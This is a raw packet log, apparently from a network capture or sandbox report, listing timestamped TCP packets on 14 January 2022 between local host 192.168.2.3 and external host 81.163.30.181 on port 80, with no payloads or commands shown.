Jan 14, 2022 20:23:54.250116110 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.250155926 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.250193119 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.250207901 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.250231981 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.250237942 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.250272989 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.250309944 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.250349045 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.250363111 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.250387907 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.250391960 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.250425100 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.254565001 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.261353970 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.261663914 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.261713028 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.261787891 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.261837006 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.261894941 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.261904001 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.261943102 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.261981964 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.262020111 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.262034893 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.262058973 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.262072086 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.262099981 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.262136936 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.262175083 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.262188911 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.262216091 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.262228012 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.262254953 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.262293100 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.262331009 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.262367964 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.262370110 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.262382030 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.262412071 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.262449980 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.262492895 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.262506008 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.262547016 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.262561083 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.262588024 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.262628078 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.262645960 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.262669086 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.262707949 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.262746096 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.262753010 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.262787104 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.262815952 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.262845993 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.262876034 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.262908936 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.262938976 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.262969971 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.263009071 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.263011932 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.263046026 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.263053894 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.263079882 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.263092995 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.263132095 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.263144970 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.263171911 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.263210058 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.263248920 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.263262987 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.263289928 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.263297081 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.263328075 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.263366938 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.263405085 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.263442039 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.263443947 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.263470888 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.263485909 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.263525009 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.263565063 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.263605118 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.263617992 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.263631105 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.263647079 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.263685942 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.263724089 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.263746023 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.263761997 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.263788939 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.263801098 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.263839960 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.263897896 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.307799101 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.307857990 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.307897091 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.307934046 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.307972908 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.308011055 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.308051109 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.308064938 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.308092117 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.308113098 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.308126926 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.308134079 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.308156013 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.308175087 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.308209896 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.308213949 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.308252096 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.308290958 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.308320045 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.308330059 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.308363914 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.308370113 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.308409929 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.308446884 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.308485031 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.308504105 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.308523893 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.308527946 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.308566093 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.308619022 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.308659077 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.308660030 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.308677912 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.308712959 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.308751106 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.308789968 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.308808088 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.308828115 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.308844090 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.308867931 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.308907986 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.308944941 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.308964014 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.308983088 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.308995008 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.309024096 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.309062004 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.309102058 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.309122086 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.309143066 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.309154987 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.311340094 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.311382055 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.311537027 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.328777075 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.328834057 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.328887939 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.328931093 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.328967094 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.328969002 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.328998089 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.329008102 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.329030037 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.329046965 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.329085112 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.329086065 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.329125881 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.329166889 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.329202890 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.329204082 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.329243898 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.329245090 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.329286098 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.329323053 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.329360008 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.329360962 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.329396963 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.329401016 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.329441071 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.329480886 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.329519033 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.329521894 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.329555035 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.329559088 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.329597950 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.329634905 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.329674006 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.329674006 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.329711914 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.329713106 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.329754114 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.329792023 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.329793930 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.329833031 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.329901934 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.329941034 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.329943895 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.329977989 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.329979897 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.330018044 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.330056906 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.330095053 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.330095053 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.330136061 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.330137014 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.330177069 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.330214977 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.330254078 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.330260992 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.330292940 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.330293894 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.330331087 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.330368996 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.330408096 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.330411911 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.330446959 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.330447912 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.330488920 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.330528021 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.330566883 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.330600023 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.330605030 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.330607891 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.330643892 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.330683947 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.330722094 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.330733061 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.330761909 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.330765963 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.330801964 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.330841064 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.330854893 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.330879927 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.330919027 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.330955029 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.330960989 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.330993891 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.330996037 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.331032991 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.332806110 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.366360903 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.366499901 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.366588116 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.366626978 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.366646051 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.366667032 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.366703987 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.366707087 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.366745949 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.366784096 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.366795063 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.366822958 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.366826057 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.366862059 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.366934061 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.366983891 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.366995096 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.367034912 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.367044926 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.367100954 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.367155075 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.367196083 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.367219925 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.367238045 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.367249966 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.367295980 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.367335081 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.367374897 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.367388010 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.367413998 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.367417097 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.367453098 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.367491961 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.367532015 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.367538929 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.367573977 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.367574930 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.367610931 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.368277073 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.368319035 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.368346930 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.368360043 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.368405104 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.388437033 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.388490915 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.388533115 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.388571978 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.388611078 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.388616085 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.388649940 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.388668060 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.388690948 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.388720036 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.388845921 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.388899088 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.388982058 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.389027119 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.389117956 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.389194012 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.389233112 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.389271021 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.389309883 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.389349937 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.389364004 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.389388084 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.389394999 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.389427900 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.389467955 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.389472008 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.389508963 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.389548063 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.389585972 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.389589071 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.389626980 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.389626980 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.389669895 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.389708042 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.389720917 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.389748096 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.389786005 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.389822960 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.389831066 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.389889002 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.389889956 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.389930964 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.389966965 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.390007019 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.390017986 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.390048981 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.390054941 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.390089035 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.390129089 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.390168905 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.390207052 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.390211105 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.390239000 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.390247107 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.390307903 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.390346050 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.390361071 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.390386105 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.390389919 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.390427113 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.390463114 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.390505075 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.390510082 CET	49866	80	192.168.2.3	81.163.30.181
